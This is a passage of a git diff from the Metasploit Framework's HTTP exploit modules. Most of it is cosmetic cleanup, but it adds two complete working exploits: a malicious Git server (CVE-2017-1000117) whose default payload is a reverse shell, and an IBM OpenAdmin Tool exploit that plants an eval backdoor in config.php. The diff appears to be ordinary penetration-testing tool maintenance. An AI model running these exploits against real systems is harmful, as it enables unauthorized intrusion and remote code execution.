     elsif res.code == 401 || (res.code == 426 && datastore['SSL'])
-      fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed.")
+      fail_with(Failure::NoAccess, "#{peer} - Could not add printer - Authentication failed")
     elsif res.code == 426
       fail_with(Failure::BadConfig, "#{peer} - Could not add printer - SSL required - set SSL true.")
     else
@@ -140,11 +141,11 @@ class MetasploitModule < Msf::Exploit::Remote
     # which executes the payload in the environment variables.
     res = print_test_page(printer_name)
     if !res
-      fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed.")
+      fail_with(Failure::Unreachable, "#{peer} - Could not add test page to print queue - Connection failed")
     elsif res.body =~ /Test page sent; job ID is/
       vprint_good("Added test page to printer queue")
     elsif res.code == 401 || (res.code == 426 && datastore['SSL'])
-      fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed.")
+      fail_with(Failure::NoAccess, "#{peer} - Could not add test page to print queue - Authentication failed")
     elsif res.code == 426
       fail_with(Failure::BadConfig, "#{peer} - Could not add test page to print queue - SSL required - set SSL true.")
     else
@@ -154,11 +155,11 @@ class MetasploitModule < Msf::Exploit::Remote
     # Delete the printer
     res = delete_printer(printer_name)
     if !res
-      fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed.")
+      fail_with(Failure::Unreachable, "#{peer} - Could not delete printer - Connection failed")
     elsif res.body =~ /has been deleted successfully/
-      print_status("Deleted printer '#{printer_name}' successfully")
+      print_good("Deleted printer '#{printer_name}' successfully")
     elsif res.code == 401 || (res.code == 426 && datastore['SSL'])
-      vprint_warning("Could not delete printer '#{printer_name}' - Authentication failed.")
+      vprint_warning("Could not delete printer '#{printer_name}' - Authentication failed")
     elsif res.code == 426
       vprint_warning("Could not delete printer '#{printer_name}' - SSL required - set SSL true.")
     else
@@ -270,5 +271,4 @@ EOF
       }
     )
   end
-
 end
diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb
index fc5c38b6dc..d4281285fb 100644
--- a/modules/exploits/multi/http/cuteflow_upload_exec.rb
+++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/dexter_casinoloader_exec.rb b/modules/exploits/multi/http/dexter_casinoloader_exec.rb
index 98250dcde0..998beed9c8 100644
--- a/modules/exploits/multi/http/dexter_casinoloader_exec.rb
+++ b/modules/exploits/multi/http/dexter_casinoloader_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -133,7 +133,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if res and res.headers.has_key?('Location')
       login_cookie = res.get_cookies
-      print_status("Login successful")
+      print_good("Login Successful")
     else
       print_error("Failed to log in")
       return
diff --git a/modules/exploits/multi/http/drupal_drupageddon.rb b/modules/exploits/multi/http/drupal_drupageddon.rb
index 1a8f2a3ef0..f88f2cd788 100644
--- a/modules/exploits/multi/http/drupal_drupageddon.rb
+++ b/modules/exploits/multi/http/drupal_drupageddon.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/eaton_nsm_code_exec.rb b/modules/exploits/multi/http/eaton_nsm_code_exec.rb
index 32c5a5364c..3e9180893a 100644
--- a/modules/exploits/multi/http/eaton_nsm_code_exec.rb
+++ b/modules/exploits/multi/http/eaton_nsm_code_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/eventlog_file_upload.rb b/modules/exploits/multi/http/eventlog_file_upload.rb
index 8f869ef02b..628cdabe5c 100644
--- a/modules/exploits/multi/http/eventlog_file_upload.rb
+++ b/modules/exploits/multi/http/eventlog_file_upload.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -16,7 +16,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description' => %q{
         This module exploits a file upload vulnerability in ManageEngine Eventlog Analyzer.
         The vulnerability exists in the agentUpload servlet which accepts unauthenticated
-        file uploads and handles zip file contents in a insecure way. By combining both
+        file uploads and handles zip file contents in an insecure way. By combining both
         weaknesses a remote attacker can achieve remote code execution. This module has been
         tested successfully on versions v7.0 - v9.9 b9002 in Windows and Linux. Versions
         between 7.0 and < 8.1 are only exploitable via EAR deployment in the JBoss server,
@@ -142,7 +142,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     if res and res.code == 200 and res.body.empty?
       if is_payload
-        print_status("Payload uploaded successfully")
+        print_good("Payload uploaded successfully")
       end
       register_files_for_cleanup(target_path.gsub("../../", "../"))
       return true
diff --git a/modules/exploits/multi/http/extplorer_upload_exec.rb b/modules/exploits/multi/http/extplorer_upload_exec.rb
index 80880c8339..e2ef5c2c28 100644
--- a/modules/exploits/multi/http/extplorer_upload_exec.rb
+++ b/modules/exploits/multi/http/extplorer_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -142,7 +142,7 @@ class MetasploitModule < Msf::Exploit::Remote
     print_status("Authenticating as user (#{user})")
     res   = auth_bypass(base, user)
     if res and res.code == 200 and res.body =~ /Are you sure you want to delete these/
-      print_status("Authenticated successfully")
+      print_good("Authenticated successfully")
     else
       fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
     end
@@ -161,7 +161,7 @@ class MetasploitModule < Msf::Exploit::Remote
     end
     if res and res.code == 200 and res.body =~ /\{'text':'([^']+)'[^\}]+'is_writable':true/
       dir = "#{base}#{$1}"
-      print_status("Successfully retrieved writable subdirectory (#{$1})")
+      print_good("Successfully retrieved writable subdirectory (#{$1})")
     else
       dir = "#{base}"
       print_error("Could not find a writable subdirectory.")
diff --git a/modules/exploits/multi/http/familycms_less_exec.rb b/modules/exploits/multi/http/familycms_less_exec.rb
index b5d3db0c62..cd9b37d883 100644
--- a/modules/exploits/multi/http/familycms_less_exec.rb
+++ b/modules/exploits/multi/http/familycms_less_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -93,5 +93,4 @@ class MetasploitModule < Msf::Exploit::Remote
       end
     end
   end
-
 end
diff --git a/modules/exploits/multi/http/freenas_exec_raw.rb b/modules/exploits/multi/http/freenas_exec_raw.rb
index 862a7dcbcf..522e5d40cc 100644
--- a/modules/exploits/multi/http/freenas_exec_raw.rb
+++ b/modules/exploits/multi/http/freenas_exec_raw.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -63,12 +63,11 @@ class MetasploitModule < Msf::Exploit::Remote
       send_request_raw({ 'uri' => "/#{page}" }, 5)
       handler
     else
-      print_error("Exploit failed.")
+      print_error("Exploit failed")
       return
     end
 
   end
-
 end
 
 =begin
diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb
index ca1142ca9a..32d783f2d4 100644
--- a/modules/exploits/multi/http/gestioip_exec.rb
+++ b/modules/exploits/multi/http/gestioip_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/git_client_command_exec.rb b/modules/exploits/multi/http/git_client_command_exec.rb
index e90340cb71..e16eacf651 100644
--- a/modules/exploits/multi/http/git_client_command_exec.rb
+++ b/modules/exploits/multi/http/git_client_command_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/git_submodule_command_exec.rb b/modules/exploits/multi/http/git_submodule_command_exec.rb
new file mode 100644
index 0000000000..4b19fe57bd
--- /dev/null
+++ b/modules/exploits/multi/http/git_submodule_command_exec.rb
@@ -0,0 +1,200 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpServer
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Malicious Git HTTP Server For CVE-2017-1000117',
+        'Description' => %q(
+                  This module exploits CVE-2017-1000117, which affects Git
+          version 2.7.5 and lower. A submodule of the form 'ssh://' can be passed
+          parameters from the username incorrectly. This can be used to inject
+          commands to the operating system when the submodule is cloned.
+
+          This module creates a fake git repository which contains a submodule
+          containing the vulnerability. The vulnerability is triggered when the
+          submodules are initialised.
+        ),
+        'License' => MSF_LICENSE,
+        'References'     =>
+          [
+            ['CVE', '2017-1000117'],
+            ['URL', 'http://seclists.org/oss-sec/2017/q3/280' ]
+          ],
+        'DisclosureDate' => 'Aug 10 2017',
+        'Targets' =>
+          [
+            [
+              'Automatic',
+              {
+                'Platform' => [ 'unix' ],
+                'Arch' => ARCH_CMD,
+                'Payload' =>
+                  {
+                    'Compat' =>
+                      {
+                        'PayloadType' => 'python'
+                      }
+                  }
+              }
+            ]
+          ],
+        'DefaultOptions' =>
+          {
+            'Payload' => 'cmd/unix/reverse_python'
+          },
+        'DefaultTarget'  => 0
+      )
+    )
+
+    register_options(
+      [
+        OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
+        OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', ''])
+      ]
+    )
+  end
+
+  def setup
+    @repo_data = {
+      git: { files: {} }
+    }
+    setup_git
+    super
+  end
+
+  def setup_git
+    # URI must start with a /
+    unless git_uri && git_uri =~ /^\//
+      fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
+    end
+
+    payload_cmd = payload.encoded + " &"
+    payload_cmd = Rex::Text.to_hex(payload_cmd, '%')
+
+    submodule_path = datastore['GIT_SUBMODULE']
+    if submodule_path.blank?
+      submodule_path = Rex::Text.rand_text_alpha(rand(8) + 2).downcase
+    end
+
+    gitmodules = "[submodule \"#{submodule_path}\"]
+path = #{submodule_path}
+url = ssh://-oProxyCommand=#{payload_cmd}/
+"
+    sha1, content = build_object('blob', gitmodules)
+    @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
+
+    tree = "100644 .gitmodules\0#{[sha1].pack('H*')}"
+    tree += "160000 #{submodule_path}\0#{[sha1].pack('H*')}"
+    sha1, content = build_object('tree', tree)
+    @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
+
+    ## build the supposed commit that dropped this file, which has a random user/company
+    email = Rex::Text.rand_mail_address
+    first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
+    full_name = "#{first.capitalize} #{last.capitalize}"
+    tstamp = Time.now.to_i
+    author_time = rand(tstamp)
+    commit_time = rand(author_time)
+    tz_off = rand(10)
+    commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
+             "committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
+             "\n" \
+             "Initial commit to open git repository for #{company}!\n"
+
+    sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
+    @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
+    @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
+    @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
+  end
+
+  # Build's a Git object
+  def build_object(type, content)
+    # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
+    header = "#{type} #{content.size}\0"
+    store = header + content
+    [Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
+  end
+
+  # Returns the Git object path name that a file with the provided SHA1 will reside in
+  def get_path(sha1)
+    sha1[0...2] + '/' + sha1[2..40]
+  end
+
+  def exploit
+    super
+  end
+
+  def primer
+    # add the git and mercurial URIs as necessary
+    hardcoded_uripath(git_uri)
+    print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")
+  end
+
+  # handles routing any request to the mock git, mercurial or simple HTML as necessary
+  def on_request_uri(cli, req)
+    # if the URI is one of our repositories and the user-agent is that of git/mercurial
+    # send back the appropriate data, otherwise just show the HTML version
+    user_agent = req.headers['User-Agent']
+    if user_agent && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
+      do_git(cli, req)
+      return
+    end
+
+    do_html(cli, req)
+  end
+
+  # simulates a Git HTTP server
+  def do_git(cli, req)
+    # determine if the requested file is something we know how to serve from our
+    # fake repository and send it if so
+    req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
+    if @repo_data[:git][:files].key?(req_file)
+      vprint_status("Sending Git #{req_file}")
+      send_response(cli, @repo_data[:git][:files][req_file])
+    else
+      vprint_status("Git #{req_file} doesn't exist")
+      send_not_found(cli)
+    end
+  end
+
+  # simulates an HTTP server with simple HTML content that lists the fake
+  # repositories available for cloning
+  def do_html(cli, _req)
+    resp = create_response
+    resp.body = <<HTML
+     <html>
+      <head><title>Public Repositories</title></head>
+      <body>
+        <p>Here are our public repositories:</p>
+        <ul>
+HTML
+    this_git_uri = URI.parse(get_uri).merge(git_uri)
+    resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
+    resp.body << <<HTML
+        </ul>
+      </body>
+    </html>
+HTML
+
+    cli.send_response(resp)
+  end
+
+  # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
+  def git_uri
+    return @git_uri if @git_uri
+    if datastore['GIT_URI'].blank?
+      @git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
+    else
+      @git_uri = datastore['GIT_URI']
+    end
+  end
+end
diff --git a/modules/exploits/multi/http/gitlab_shell_exec.rb b/modules/exploits/multi/http/gitlab_shell_exec.rb
index e6cc73da61..23976bdfe1 100644
--- a/modules/exploits/multi/http/gitlab_shell_exec.rb
+++ b/modules/exploits/multi/http/gitlab_shell_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/gitorious_graph.rb b/modules/exploits/multi/http/gitorious_graph.rb
index 4d4bf3876d..6f20f3c416 100644
--- a/modules/exploits/multi/http/gitorious_graph.rb
+++ b/modules/exploits/multi/http/gitorious_graph.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -70,5 +68,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb
index 40f1dc7d61..b6cecdbe60 100644
--- a/modules/exploits/multi/http/glassfish_deployer.rb
+++ b/modules/exploits/multi/http/glassfish_deployer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -18,7 +18,7 @@ class MetasploitModule < Msf::Exploit::Remote
     super(update_info(info,
       'Name'           => "Sun/Oracle GlassFish Server Authenticated Code Execution",
       'Description'    => %q{
-          This module logs in to an GlassFish Server (Open Source or Commercial) using various
+          This module logs in to a GlassFish Server (Open Source or Commercial) using various
         methods (such as authentication bypass, default credentials, or user-supplied login),
         and deploys a malicious war file in order to get remote code execution. It has been
         tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. Newer
@@ -622,7 +622,7 @@ class MetasploitModule < Msf::Exploit::Remote
 
     # Print upload result
     if res && res.code == 302
-      print_status("Successfully uploaded")
+      print_good("Successfully Uploaded")
     else
       print_error("Error uploading #{res.code}")
       return
@@ -718,35 +718,12 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def my_target_host
-    my_target_host = "http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(target_uri.path)}"
+    "http://#{rhost.to_s}:#{rport.to_s}#{normalize_uri(target_uri.path)}"
   end
 
 
-  def report_cred(opts)
-    service_data = {
-      address: rhost,
-      port: rport,
-      service_name: 'glassfish',
-      protocol: 'tcp',
-      workspace_id: myworkspace_id
-    }
-
-    credential_data = {
-      module_fullname: fullname,
-      post_reference_name: self.refname,
-      private_data: opts[:password],
-      origin_type: :service,
-      private_type: :password,
-      username: opts[:user]
-    }.merge(service_data)
-
-    login_data = {
-      core: create_credential(credential_data),
-      status: Metasploit::Model::Login::Status::SUCCESSFUL,
-      last_attempted_at: DateTime.now
-    }.merge(service_data)
-
-    create_credential_login(login_data)
+  def service_details
+    super.merge({ post_reference_name: self.refname })
   end
 
   def try_normal_login(version)
@@ -783,7 +760,7 @@ class MetasploitModule < Msf::Exploit::Remote
       print_status("Trying to login as #{cred.public}:#{cred.private}")
       result = @scanner.attempt_login(cred)
       if result.status == Metasploit::Model::Login::Status::SUCCESSFUL
-        report_cred(user: cred.public, password: cred.private)
+        store_valid_credential(user: cred.public, private: cred.private) # changes service_name to http || https
         return @scanner.jsession
       end
     end
diff --git a/modules/exploits/multi/http/glossword_upload_exec.rb b/modules/exploits/multi/http/glossword_upload_exec.rb
index 1a234f4f3a..c7a162900a 100644
--- a/modules/exploits/multi/http/glossword_upload_exec.rb
+++ b/modules/exploits/multi/http/glossword_upload_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/glpi_install_rce.rb b/modules/exploits/multi/http/glpi_install_rce.rb
index eb0c56c5a7..fe41e9ba28 100644
--- a/modules/exploits/multi/http/glpi_install_rce.rb
+++ b/modules/exploits/multi/http/glpi_install_rce.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -106,5 +106,4 @@ class MetasploitModule < Msf::Exploit::Remote
       }
     })
   end
-
 end
diff --git a/modules/exploits/multi/http/horde_href_backdoor.rb b/modules/exploits/multi/http/horde_href_backdoor.rb
index 6ae1d4cada..415c1713e2 100644
--- a/modules/exploits/multi/http/horde_href_backdoor.rb
+++ b/modules/exploits/multi/http/horde_href_backdoor.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -88,5 +86,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb
index 320b945037..ce733d1bc8 100644
--- a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb
+++ b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -160,5 +160,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     return res
   end
-
 end
diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb
index 339e769e5f..6e1ace26ff 100644
--- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb
+++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -344,5 +344,4 @@ class MetasploitModule < Msf::Exploit::Remote
     return nil
 
   end
-
 end
diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb
index c203f40d17..b09a452fc0 100644
--- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb
+++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb
index 0d3639df57..a192a38f3b 100644
--- a/modules/exploits/multi/http/hyperic_hq_script_console.rb
+++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/exploits/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.rb b/modules/exploits/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.rb
new file mode 100644
index 0000000000..9bab8189ee
--- /dev/null
+++ b/modules/exploits/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.rb
@@ -0,0 +1,116 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include REXML
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution',
+      'Description'    => %q{
+        This module exploits an unauthenticated remote PHP code execution
+        vulnerability in IBM OpenAdmin Tool included with IBM Informix
+        versions 11.5, 11.7, and 12.1.
+
+        The 'welcomeServer' SOAP service does not properly validate user input
+        in the 'new_home_page' parameter of the 'saveHomePage' method allowing
+        arbitrary PHP code to be written to the config.php file. The config.php
+        file is executed in most pages within the application, and accessible
+        directly via the web root, resulting in code execution.
+
+        This module has been tested successfully on IBM OpenAdmin Tool 3.14
+        on Informix 12.10 Developer Edition (SUSE Linux 11) virtual appliance.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'SecuriTeam', # Discovery and exploit
+          'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
+        ],
+      'References'     =>
+        [
+          ['CVE', '2017-1092'],
+          ['EDB', '42091'],
+          ['URL', 'https://www-01.ibm.com/support/docview.wss?uid=swg22002897'],
+          ['URL', 'https://blogs.securiteam.com/index.php/archives/3210'],
+          ['URL', 'http://seclists.org/fulldisclosure/2017/May/105']
+        ],
+      'Platform'       => 'php',
+      'Arch'           => ARCH_PHP,
+      'Privileged'     => false, # Privileged on Windows but not on *nix targets
+      'Targets'        => [['Generic (PHP Payload)', {}]],
+      'DisclosureDate' => 'May 30 2017',
+      'DefaultTarget'  => 0))
+    register_options(
+      [
+        OptString.new('TARGETURI', [ true, 'The base path to IBM OpenAdmin Tool', '/openadmin' ])
+      ]
+    )
+  end
+
+  def set_home_page(homepage)
+    xml = Document.new
+    xml.add_element 'soapenv:Envelope', 'xmlns:xsi'     => 'http://www.w3.org/2001/XMLSchema-instance',
+                                        'xmlns:xsd'     => 'http://www.w3.org/2001/XMLSchema',
+                                        'xmlns:soapenv' => 'http://schemas.xmlsoap.org/soap/envelope/',
+                                        'xmlns:urn'     => 'urn:Welcome'
+    xml.root.add_element 'soapenv:Header'
+    xml.root.add_element 'soapenv:Body'
+    body = xml.root.elements[2]
+    body.add_element 'urn:saveHomePage', 'soapenv:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/'
+    new_home_page = body.elements[1].add_element 'new_home_page', 'xsi:type' => 'xsd:string'
+    new_home_page.text = homepage
+
+    uri = normalize_uri target_uri.path, 'services', 'welcome', 'welcomeService.php'
+    send_request_cgi 'method'  => 'POST',
+                     'uri'     => uri,
+                     'ctype'   => 'text/xml; charset=UTF-8',
+                     'headers' => { 'SOAPAction' => 'urn:QBEAction' },
+                     'data'    => xml.to_s
+  end
+
+  def check
+    fingerprint = Rex::Text.rand_text_alpha(rand(10) + 6)
+    res = set_home_page "\";##{fingerprint}"
+
+    unless res
+      vprint_status "#{peer} Connection failed"
+      return CheckCode::Unknown
+    end
+
+    if res.code == 200 && res.body =~ %r{<ns1:saveHomePageResponse><return xsi:type="xsd:string">";##{fingerprint}</return>}
+      return CheckCode::Detected
+    end
+
+    Msf::Exploit::CheckCode::Safe
+  end
+
+  def exploit
+    cmd_param = Rex::Text.rand_text_alpha(rand(10) + 6)
+
+    res = set_home_page "\";eval($_POST['#{cmd_param}']); #"
+
+    unless res
+      vprint_status "#{peer} Connection failed"
+      return CheckCode::Unknown
+    end
+
+    if res.code == 200 && res.body =~ /<ns1:saveHomePageResponse><return xsi:type="xsd:string">";eval/
+      print_good "#{peer} Wrote backdoor to config.php file successfully"
+    else
+      fail_with Failure::UnexpectedReply, "#{peer} Failed to backdoor config.php"
+    end
+
+    vprint_status "#{peer} Executing payload..."
+    send_request_cgi({ 'method'    => 'POST',
+                       'uri'       => normalize_uri(target_uri.path, 'conf', 'config.php'),
+                       'vars_post' => { cmd_param => payload.encoded } }, 5)
+
+    print_warning "#{peer} Replace the 'config.php' file with 'BAKconfig.php' to remove the backdoor"
+  end
+end
diff --git a/modules/exploits/multi/http/ispconfig_php_exec.rb b/modules/exploits/multi/http/ispconfig_php_exec.rb
index 6212213d80..952b259ff6 100644
--- a/modules/exploits/multi/http/ispconfig_php_exec.rb
+++ b/modules/exploits/multi/http/ispconfig_php_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -14,7 +14,7 @@ class MetasploitModule < Msf::Exploit::Remote
       'Description' => %q{
       ISPConfig allows an authenticated administrator to export language settings into a PHP script
       which is intended to be reuploaded later to restore language settings. This feature
-      can be abused to run aribtrary PHP code remotely on the ISPConfig server.
+      can be abused to run aribitrary PHP code remotely on the ISPConfig server.
 
       This module was tested against version 3.0.5.2.
       },
diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb
index ae0a3de41f..dc9c027634 100644
--- a/modules/exploits/multi/http/jboss_bshdeployer.rb
+++ b/modules/exploits/multi/http/jboss_bshdeployer.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -192,5 +192,4 @@ class MetasploitModule < Msf::Exploit::Remote
 
     handler
   end
-
 end
diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb
index 489e3e91c5..b89ba1b487 100644
--- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb
+++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb
@@ -1,7 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
+
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb
index 2cdcb999bb..cdbecb9316 100644
--- a/modules/exploits/multi/http/jboss_invoke_deploy.rb
+++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
@@ -300,7 +299,7 @@ EOT
       elsif res.code < 200 || res.code >= 300
         msg = "http request failed to #{uri} [#{res.code}]"
       elsif res.code == 200
-        vprint_status("Successfully called '#{uri}'")
+        vprint_good("Successfully called '#{uri}'")
         return res
       end
 
@@ -734,5 +733,4 @@ EOT
 
     stream
   end
-
 end
diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb
index 12d8ed79a5..ab8bbf5f9a 100644
